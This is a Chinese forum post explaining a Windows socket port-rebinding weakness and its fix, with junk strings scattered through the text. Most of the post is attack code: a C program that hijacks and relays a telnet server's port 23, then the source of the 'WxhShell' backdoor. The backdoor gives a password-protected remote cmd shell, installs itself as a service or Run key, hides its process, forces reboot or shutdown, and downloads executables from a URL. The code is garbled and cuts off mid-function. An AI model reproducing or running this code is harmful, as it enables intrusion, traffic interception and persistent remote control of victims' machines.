-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n7aU<`U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 10Wz,vW,n ]T!
}XXK saddr.sin_family = AF_INET; #1'\.v H14Ic.& saddr.sin_addr.s_addr = htonl(INADDR_ANY); YO)$M-]>%J }Y(]6$uS bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $V>98M>j +H/jK @ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7"X>?@ 4S0>-?{ 这意味着什么?意味着可以进行如下的攻击: F7m?xy vQV K$n` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $>M<j f}c\_}( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z"4]5&3A =`n]/L"Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mwv(j_ =]R3& ]#n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 0X2@CPIFf ij5g^{_T;8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;#G oGb4AM jd`},X / 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tL
SN`6[: X8eJ4% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A?Q a 4i GnXNCeE` #include ivgpS5 M`Y #include vh!v
MB}} #include wu<])&F #include k`HP"H DWORD WINAPI ClientThread(LPVOID lpParam); bSwWszd~ int main() ({0)@+V8 { OIHz I2{ WORD wVersionRequested; ?{"mP 'dD DWORD ret; [mxTa\ WSADATA wsaData; /76 1o\Q BOOL val; Rr(* aC2P SOCKADDR_IN saddr; +!-~yf#RE SOCKADDR_IN scaddr; h~U02"$ int err; U7mozHS,:9 SOCKET s; et,GrL)l SOCKET sc; jg
2qGC int caddsize; ^ OJyN,A HANDLE mt; ER2GjZa\z DWORD tid; V5"CSMe wVersionRequested = MAKEWORD( 2, 2 ); s}&bJ"!Z err = WSAStartup( wVersionRequested, &wsaData ); RIM`omM if ( err != 0 ) { "yziXT@V printf("error!WSAStartup failed!\n"); F-(dRSDNM return -1; T`/IO.2 } c9' ' saddr.sin_family = AF_INET; I0AJY
)R `D(
xv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rRES8/ #0I{.Wy] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |4) saddr.sin_port = htons(23); G |*(8r() if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +,+vkpL-% { WE}kTq printf("error!socket failed!\n"); ;P &y,:<m: return -1; ;T]d MfO } ;wiao(t>4N val = TRUE; `?*%$>W#" //SO_REUSEADDR选项就是可以实现端口重绑定的 I|oT0y& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V=I"-k}RL { &WXY 'A= printf("error!setsockopt failed!\n"); +^aFs S return -1; $VG*q } B(k=oXDF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wmNHT _ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _s,ao'/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wo2@hav ukgAI<O% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zHWSE7! { D8{D[fJ; ret=GetLastError(); zxb/ printf("error!bind failed!\n"); n>,L=wV return -1; ;:S&F } (9\;A*CZ listen(s,2); 6q<YJ., while(1) e/_C { w"m+~).U caddsize = sizeof(scaddr); -kz4FS //接受连接请求 {>3\N0e5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9Ywpej*+ if(sc!=INVALID_SOCKET) JuRH>` { PW(\4Q\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0oA{Jix if(mt==NULL) ;?fS(Vz~ { .@)mxC:\K9 printf("Thread Creat Failed!\n"); <mA'X V, break; *F^wtH` } #H [Bb2(j } 72W,FU~OD CloseHandle(mt); EqiFy"H } O-vGyNxP| closesocket(s); *YTo{~ WSACleanup(); =d
2 r6%v return 0; t9gfU5? } :pX`?Ew`g DWORD WINAPI ClientThread(LPVOID lpParam) sRVIH A, { C-eA8pYY/ SOCKET ss = (SOCKET)lpParam; ?rVy2! SOCKET sc; +'@+x'/{^ unsigned char buf[4096]; h!@|RW&}qX SOCKADDR_IN saddr; <^.=>Q0S\ long num; }_tl n DWORD val; `cz2DR-" DWORD ret; KAA-G2%M //如果是隐藏端口应用的话,可以在此处加一些判断 [sV"ws //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 }K1 0Po' saddr.sin_family = AF_INET; ^{$FI`P saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F+ <Z<q saddr.sin_port = htons(23); MiT}L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v dbO( { .9*wY0: printf("error!socket failed!\n"); wZT%Ee\D% return -1; 8kE]_t } ;DA8B'^> val = 100; gwrYLZNGI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p;)" { %)jxW{ ret = GetLastError(); rVvR!"//yH return -1; 5hj
} @53k8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'X).y1' { 0<"k8
k@J ret = GetLastError(); <tpmUA[] return -1; 'crlA~/ } 'oNO-)p\#! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vzzE-(\\e { RpG+>"1] printf("error!socket connect failed!\n"); mOpTzg@ closesocket(sc); _iKq~\v2 closesocket(ss); HD,xY4q&N return -1; .Ig+Dj{) } +h^jC9,m~{ while(1) mE O\r|A { 8,D 2^Gg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (@X~VACT //如果是嗅探内容的话,可以再此处进行内容分析和记录 q/3ziVd7p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TlAR.cV num = recv(ss,buf,4096,0); H>Q%"| if(num>0) &*G<a3Q send(sc,buf,num,0); j.~!dh$mg else if(num==0) (Q[fS:U break; 76tdJ!4Z num = recv(sc,buf,4096,0); \y6OUM2y if(num>0) /[:dp< send(ss,buf,num,0); .Xm(D>>k else if(num==0) ~AYN break; sb:d>6 } Y3kA?p0 closesocket(ss); dca;'$ closesocket(sc); ]A
FI\$qB\ return 0 ; [=O/1T } )}Q(Tl\$ Gir#"5F =U[3PC-N@ ========================================================== HS'Vi9 Er/bO 下边附上一个代码,,WXhSHELL Ze<K=Q%(i o:Qv
JcB ========================================================== Qjx?ri// s?8<50s #include "stdafx.h" 9[!,c`pw $,I q;*7N #include <stdio.h> (%iRaw7hp #include <string.h> MRU7W4W-~/ #include <windows.h> s}5cSU!| #include <winsock2.h> !$2Z-! #include <winsvc.h> I8oo~2Qw #include <urlmon.h> a`Gx=8 8eA+d5k\. #pragma comment (lib, "Ws2_32.lib") Vz14j_ #pragma comment (lib, "urlmon.lib") %1pYEHn "~UUx"Y #define MAX_USER 100 // 最大客户端连接数 T0)4v-EO #define BUF_SOCK 200 // sock buffer js1!9%BV #define KEY_BUFF 255 // 输入 buffer y"]n:M:( y(R?
,wa=] #define REBOOT 0 // 重启 YV=QF
J' #define SHUTDOWN 1 // 关机 2|\A7. ld$i+6| #define DEF_PORT 5000 // 监听端口 Y_`- 9'& <Q|d&vDVfV #define REG_LEN 16 // 注册表键长度 5J8r8` t #define SVC_LEN 80 // NT服务名长度 '`'GK&) =b;>?dP // 从dll定义API IH$0)g;s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~dIk5>O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q1V9PRZX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sLE#q+W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2r$#m* Kn+S, 1r // wxhshell配置信息 "CiTa>x struct WSCFG { ]weoTn: int ws_port; // 监听端口 NvM*h%ChM char ws_passstr[REG_LEN]; // 口令 S"9zc
,] int ws_autoins; // 安装标记, 1=yes 0=no "#mBcQ;QLV char ws_regname[REG_LEN]; // 注册表键名 S9HwIH\m char ws_svcname[REG_LEN]; // 服务名 aq7~QX_0G char ws_svcdisp[SVC_LEN]; // 服务显示名 ?UM*Xah char ws_svcdesc[SVC_LEN]; // 服务描述信息 keRE==(D char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Em[DHfu1Q int ws_downexe; // 下载执行标记, 1=yes 0=no 04r$>#E char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" L(GjZAP char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j*xV!DqC `y#UJYXQE }; 3D?sL!W %s19KGpA // default Wxhshell configuration z;@*r}H struct WSCFG wscfg={DEF_PORT, 9Fn\FYUq "xuhuanlingzhe", !8`3GX:B_ 1, ;#w3{
NB "Wxhshell", V I%
6.6D "Wxhshell", U]a*uF~h "WxhShell Service", ){jla,[ "Wrsky Windows CmdShell Service", 8Lw B
B "Please Input Your Password: ", m N8pg4 1, P2Vg 4 " http://www.wrsky.com/wxhshell.exe", 0'nikLaKy "Wxhshell.exe" YBh'EL}P }; &^4++ O12eH // 消息定义模块 yCCrK@{oo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yA47"R char *msg_ws_prompt="\n\r? for help\n\r#>"; }@.|?2b + char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^n0]dizB char *msg_ws_ext="\n\rExit."; ~/j\Z char *msg_ws_end="\n\rQuit."; a22XDes= char *msg_ws_boot="\n\rReboot..."; hB{jUP)"; char *msg_ws_poff="\n\rShutdown..."; ws4cF
N9P? char *msg_ws_down="\n\rSave to "; BT}&Y6 ,AT[@ char *msg_ws_err="\n\rErr!"; EqI(|bFwy char *msg_ws_ok="\n\rOK!"; cu+FM (h:Rh char ExeFile[MAX_PATH]; >LDhU%bH int nUser = 0; Y3Q9=u*5 HANDLE handles[MAX_USER]; iYC9eEF
int OsIsNt; .bio7c6 (Cqn6dWK SERVICE_STATUS serviceStatus; w6j/ Dq! SERVICE_STATUS_HANDLE hServiceStatusHandle; s&j-\bOic9 e1P"[|9>R // 函数声明 43=,yz2Ef int Install(void); 6Cp]NbNrq int Uninstall(void); 8_N]e'WUh int DownloadFile(char *sURL, SOCKET wsh); AlJ} >u int Boot(int flag); r(9~$_(vK void HideProc(void); u]OW8rc int GetOsVer(void); kZ"BBJ6w int Wxhshell(SOCKET wsl); =FD;~ void TalkWithClient(void *cs); B5$kHM%p int CmdShell(SOCKET sock); :,)lm.}]t int StartFromService(void); <F04GO\ int StartWxhshell(LPSTR lpCmdLine); "jw<V,, T1H"\+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J`2"KzR0w" VOID WINAPI NTServiceHandler( DWORD fdwControl ); )m. 4i =X ={u0_j
W // 数据结构和表定义 u(G*\<z- SERVICE_TABLE_ENTRY DispatchTable[] = V*~Zs'L'E { mkR2i> {wscfg.ws_svcname, NTServiceMain}, @e{^`\ l=< {NULL, NULL} ^aW
Z!gi }; D+>1]ij 0iJue& // 自我安装 |ZQ@fmvL/p int Install(void) tor!Dl@Mo { aM;W$1h char svExeFile[MAX_PATH]; ]LM-@G+Jz HKEY key; #Skv(IL strcpy(svExeFile,ExeFile); M'/aZ#
b {26ONa#i // 如果是win9x系统,修改注册表设为自启动 Q`D_|L if(!OsIsNt) { ~zw]5| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8,uB8C9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A=
w9V RegCloseKey(key); Si~vDQ7" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ar=PmYV7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]~3U
RegCloseKey(key); N;[>,0&z return 0; ccL~#c0P7 } 3'X.}>o } (P`3 @H } /soKucN"h else { I"`M@ % 9VbOQ {8 // 如果是NT以上系统,安装为系统服务 /Ju;MeE9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zL J/5& if (schSCManager!=0) 1m .W< { 3g6j?yYqb SC_HANDLE schService = CreateService ()H:Uv M=t ( Km^&<3ch# schSCManager, ,\@O(;
mF wscfg.ws_svcname, e$pMsw'MJ wscfg.ws_svcdisp, BX yo SERVICE_ALL_ACCESS, y.q(vzg\_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x+]\1p SERVICE_AUTO_START, s8h-,@p SERVICE_ERROR_NORMAL, )K2HK&t: svExeFile, !3ctB3eJ NULL, Exk\8,EGqS NULL, $r3i2N-I NULL, \!ej<T+JR> NULL, ^53r/V }% NULL nak Yn ); ERN>don2 if (schService!=0) wT{nu[=GH* { R,Vd.-5M CloseServiceHandle(schService); c?@T1h4 CloseServiceHandle(schSCManager); OiP!vn}k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &/Q0 strcat(svExeFile,wscfg.ws_svcname); u#@Q:tnN_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q?ix$nKOv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "V}[':fen RegCloseKey(key); ny54XjtG, return 0; Ct%x&m: } Z@$8I{}G } l(#)WWr+ CloseServiceHandle(schSCManager); `F>O; >i'' } fX|Y;S-@+ } >_LDMs[-p T'b_W,m~,u return 1; =*LS%WI } %x}
O1yV $O5UyKI // 自我卸载 )<Hd T int Uninstall(void) STaA]i}P { J:\|Nc? HKEY key; y? co| 0xXC^jx: if(!OsIsNt) { L5\WpM= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eET}r24 RegDeleteValue(key,wscfg.ws_regname); Ho
*AAg RegCloseKey(key); Y"wUt & if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x UD-iSY RegDeleteValue(key,wscfg.ws_regname); qZA).12qS RegCloseKey(key); 9,"L^W8"k return 0; ~Onoe $A[< } @Rw!'T } c7FRI0X } "l*`>5Nn9 else { `kJ^zw+ `{xNXH]@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +o51x'Ld* if (schSCManager!=0) uF3qD|I\ { t0T"@t#c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @$+ecaVW if (schService!=0) qhz]Wm P { Z LD}a:s if(DeleteService(schService)!=0) { smDw<slC CloseServiceHandle(schService); d8x \ CloseServiceHandle(schSCManager); 5EfS^MRf\n return 0;
7?%k7f } v*[.a#1^ CloseServiceHandle(schService); AD<q%pu&H? } X<%Q"2hW CloseServiceHandle(schSCManager); mFZ?hOyP. } _}En/V_ } ~Wa6J4B{K _n` a`2C|m return 1;
i|m3mcI%2 } 6Avw-}.7> Q(oN/y3, // 从指定url下载文件 7[}xP#Z int DownloadFile(char *sURL, SOCKET wsh) !!? Mw { d|yAs5@ HRESULT hr; }-6)gWe char seps[]= "/"; vt9)pMs char *token; +qwjbA+ char *file; L-k@-)98 char myURL[MAX_PATH]; ynhmMy% char myFILE[MAX_PATH]; V:c;-)( "PpN0Rr strcpy(myURL,sURL); mA=i)Ga token=strtok(myURL,seps); &@yo;kB while(token!=NULL) *=*AAF { z21|Dhiw& file=token; /Bm( `T token=strtok(NULL,seps); D'Y-6W3 } m-*hygkcDu x"
L20} GetCurrentDirectory(MAX_PATH,myFILE); d >t<_} strcat(myFILE, "\\"); D
'Zt strcat(myFILE, file); AQ[GO6$,%H send(wsh,myFILE,strlen(myFILE),0); G8Y<1%`< send(wsh,"...",3,0); % V8U(z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Ibp( if(hr==S_OK) lH6OcD:kj return 0; +P`*kj-P\ else e8#h3lxJ` return 1; Yd~X77cv L|}lccpI } \hEN4V[ [S>2ASj // 系统电源模块 AGYc |; int Boot(int flag) 7*Ej. HK { pv Gf\pu HANDLE hToken; +y3%3EKs1~ TOKEN_PRIVILEGES tkp; D5*q7A6 LB a[:j2 if(OsIsNt) { ZGKu>yM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uW}s)j. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !*%WuyCgr4 tkp.PrivilegeCount = 1; 4k@5/5zsM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mh{1*T$fP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PU^l. if(flag==REBOOT) { n74V|b6W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $NZ-{dY{ return 0; gh8F2V;< } c5D) else { ;k>&FWEG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |~vI3]}fx return 0; +w{*Xk)4 } \S!e![L/ } Nbi.\ else { k@3Q|na if(flag==REBOOT) { rcC<Zat,| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2vWx)Drb6 return 0; .jk@IL } 9#MBaO8_" else { yooX$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;CPr]avY return 0; [J4gH^Z_
} E{Ov>osq } "q.\>MCv ^Uf]Q$uCjE return 1; G'ei/Me6{ } .@@?Pj?) ^!<BQP7 // win9x进程隐藏模块 P>NF.BCq void HideProc(void) g9Xu@N;bL { w"cZHm IV\'e} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n
T{3o;A if ( hKernel != NULL ) < v@9#c { q$B>|y U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z:sg} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #0P$M!% FreeLibrary(hKernel); :?g:~+hfO } v{ 0= x"gd8j]s return; %B5wH_p } }:KEj_~. b2OQtSr a // 获取操作系统版本 =IQ5<;U3 int GetOsVer(void) lE&&_INHQ { AK*LyR? OSVERSIONINFO winfo; t>`asL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0+kH:dP{ GetVersionEx(&winfo); I uMQ9& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tk:h@F|B.| return 1; `\#B18eU else `OXpU,Z 6U return 0; j/f?"VEr } [d1mLJAR hPUYyjXPB // 客户端句柄模块 "NXB$a!: int Wxhshell(SOCKET wsl) y)W@{@{kl { %'s>QF]' SOCKET wsh; -y8`yHb_ struct sockaddr_in client; =E.t`x= DWORD myID; ]%wVHC m
g4nrr\ while(nUser<MAX_USER) uao0_swW5 { S~;4*7+?: int nSize=sizeof(client); 1^7hf;|#g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +'I+o5* if(wsh==INVALID_SOCKET) return 1; 8&?s#5zA hRrn$BdLX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XINu=N(g if(handles[nUser]==0) g1W.mAA3B closesocket(wsh); #><.oreXq else :UF%K>k2 nUser++; lyy W } ^Eb.:}!D6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $o0iLFIX/ d4>Z8FF|1B return 0; Ay5i+)MD }
19Mu61 ER5gmmVP@p // 关闭 socket @|63K)Xy void CloseIt(SOCKET wsh) BGD8w2 { ]
2eK closesocket(wsh); |"/8XA nUser--; jr /pj? ExitThread(0); q_g+Jf
P-D } )4gJd?
8R 6@{(;~r // 客户端请求句柄 LcSX *MC void TalkWithClient(void *cs) [y'f|XN { 723bkJw
V bm?sbE SOCKET wsh=(SOCKET)cs; T>x&T9 char pwd[SVC_LEN]; K;>9ZZtl char cmd[KEY_BUFF]; Jq&uF*! char chr[1]; i|w81p^o int i,j; (e!0]Io@ J'SZ while (nUser < MAX_USER) { 4'g;TI^ wVicyiY] if(wscfg.ws_passstr) { >VP=MbN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^;Y|3)vvB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vY }A //ZeroMemory(pwd,KEY_BUFF); TZ(cu> i=0; K1r#8Q!t while(i<SVC_LEN) { 8S mCpg H:t$'kb` // 设置超时 K?B{rE Lp fd_set FdRead; b\vKJ2
struct timeval TimeOut; )vjh~ybZ FD_ZERO(&FdRead); hyCh9YOu) FD_SET(wsh,&FdRead); ]h* c,. TimeOut.tv_sec=8; ]>LhkA@V TimeOut.tv_usec=0; Z&1T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ysxb?6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8\^}~s$$A V5sg#|& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =j5MFX.-o pwd =chr[0]; -Zf@VW,NI if(chr[0]==0xd || chr[0]==0xa) { ;aI[=?<x pwd=0; 6*B1 9+- break; ?s\:hNNY } 2N~Fg^xB i++; m?pstuUK( } ewa wL" -(bXSBs# // 如果是非法用户,关闭 socket 7'Zky2F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KIui(n#/ } =XucOli6 ej4W{IN~: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {QHVo# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l6YtEHNG qq) rd while(1) { I/d&G#:~ Rn`x7(WA ZeroMemory(cmd,KEY_BUFF); k7?N ?7w }.3nthgz // 自动支持客户端 telnet标准 1|kvPo# j=0; ;1`fC@rI while(j<KEY_BUFF) { #!aN{nK0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {1V($aBl cmd[j]=chr[0]; "= 6_V?&w if(chr[0]==0xa || chr[0]==0xd) { :3XA!o&.T3 cmd[j]=0; @wpN6 / break; '(f&P=[b } <3xyjX'NE j++; (]0%}$Fo } SB1upTn uw[<5 // 下载文件 *5vV6][ if(strstr(cmd,"http://")) { M=1n QF2J send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4
Y;Nm1@ if(DownloadFile(cmd,wsh)) 6+.uU[x@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??PC
k1X else dx;Ysn0- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o.w\l\ } A?CcHw
rT else { <j&DK2u=i p2n0Z\2 switch(cmd[0]) { @hJ%@( |]J>R // 帮助 b8V~S'6VqO case '?': { tZ}
v%3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o7J break; PZE0}>z } 0Fk5kGD,&K // 安装 :*ing case 'i': { 56+s~hG if(Install()) Y?
x, send(wsh,msg_ws_err,strlen(msg_ws_err),0); xIxn"^' else sm0x LZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5b!vgm#]) break; -~v|Rt } uJFdbBDSh // 卸载 fBRo_CU8! case 'r': { 4]h
=yc R if(Uninstall()) biSz?DJ> send(wsh,msg_ws_err,strlen(msg_ws_err),0); MaRi+3F else zo +nq%= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~%^
tB break; H<v'^*( } rqdE6y+^ // 显示 wxhshell 所在路径 kSR\RuY* case 'p': { 8Eakif0CO char svExeFile[MAX_PATH]; ;pqg/>W' strcpy(svExeFile,"\n\r"); PJ]];MQ strcat(svExeFile,ExeFile); 2_n7=& send(wsh,svExeFile,strlen(svExeFile),0); lzYEx break; o_@4Sl8 } n#q<`}u, // 重启 *pAV2V(!23 case 'b': { :bz}c48% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [z9`)VIe if(Boot(REBOOT)) "}pNe"ok send(wsh,msg_ws_err,strlen(msg_ws_err),0); \hBG<nH{0 else { NdL,F;^ closesocket(wsh); nQ q=7Gu ExitThread(0); @2Z#x } i\KQ!f>A break; 7NDr1Z#B6V } jUSmqm' // 关机 Y( 3Bp\6 case 'd': { 99:C"`E{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n` xR5!de if(Boot(SHUTDOWN)) *a58ZI@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); k p<OJy else { 3[O=xXB closesocket(wsh); pPc TrN' ExitThread(0); |/09<F:L[ } ny`#%Vs break; 0BIy>wy: } ;.TRWn# // 获取shell Q$HG case 's': { &;D8]7d
CmdShell(wsh); I_<I&{N> closesocket(wsh); lTd #bN ExitThread(0); x7~r,x(xM break; rW+ =,L } H-~6Z",1 // 退出 QA<Jr5Ys case 'x': { `&D|>tiz send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GM3f-\/ CloseIt(wsh); cm?\
-[cV break; P8>~c9$I } S-k8jm // 离开 # a<Gxj case 'q': { VH+%a<v" send(wsh,msg_ws_end,strlen(msg_ws_end),0); bsB*533 closesocket(wsh); $u9K+>. WSACleanup(); ,wIONDnLZ exit(1); rcMwFE?|xq break; MrDc$p W G } %kdEun } $Hj.{;eC/k } }HY-uQ%@g w+yC)Rmz // 提示信息 Cq'KoN%nQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _>|
=L
W@7 } R~)\3] "2m } %@.v2 cT kg'o&^/= return; {vuZ{IJa } ;j^H)."A\ E=>FjCsu<- // shell模块句柄 )rekY; int CmdShell(SOCKET sock) j!]YNH@ { @}@Z8$G^ STARTUPINFO si; s;3= {e. ZeroMemory(&si,sizeof(si)); rNB_W. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r]b_@hT', si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P/Q!<I PROCESS_INFORMATION ProcessInfo; mT.u0KUIy char cmdline[]="cmd"; |NpP2|4h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MBqt&_?K return 0; y~F,0"N\r } 22.8PO0 Y*H|?uNF // 自身启动模式 FLGk?.x$\ int StartFromService(void) RLLTw ?]$ { hRK/T7v typedef struct X{\F;Cb* { PX<J&rx DWORD ExitStatus; )XYv}U DWORD PebBaseAddress; QNpqdwu%h DWORD AffinityMask; (=* cK-3 DWORD BasePriority; 'H
\9:7 ULONG UniqueProcessId; U$_xUG ULONG InheritedFromUniqueProcessId; ][?G/*k } PROCESS_BASIC_INFORMATION; +\F'iAs@ ]Bjyi[#bg PROCNTQSIP NtQueryInformationProcess; XpBj%e: PfC!lI
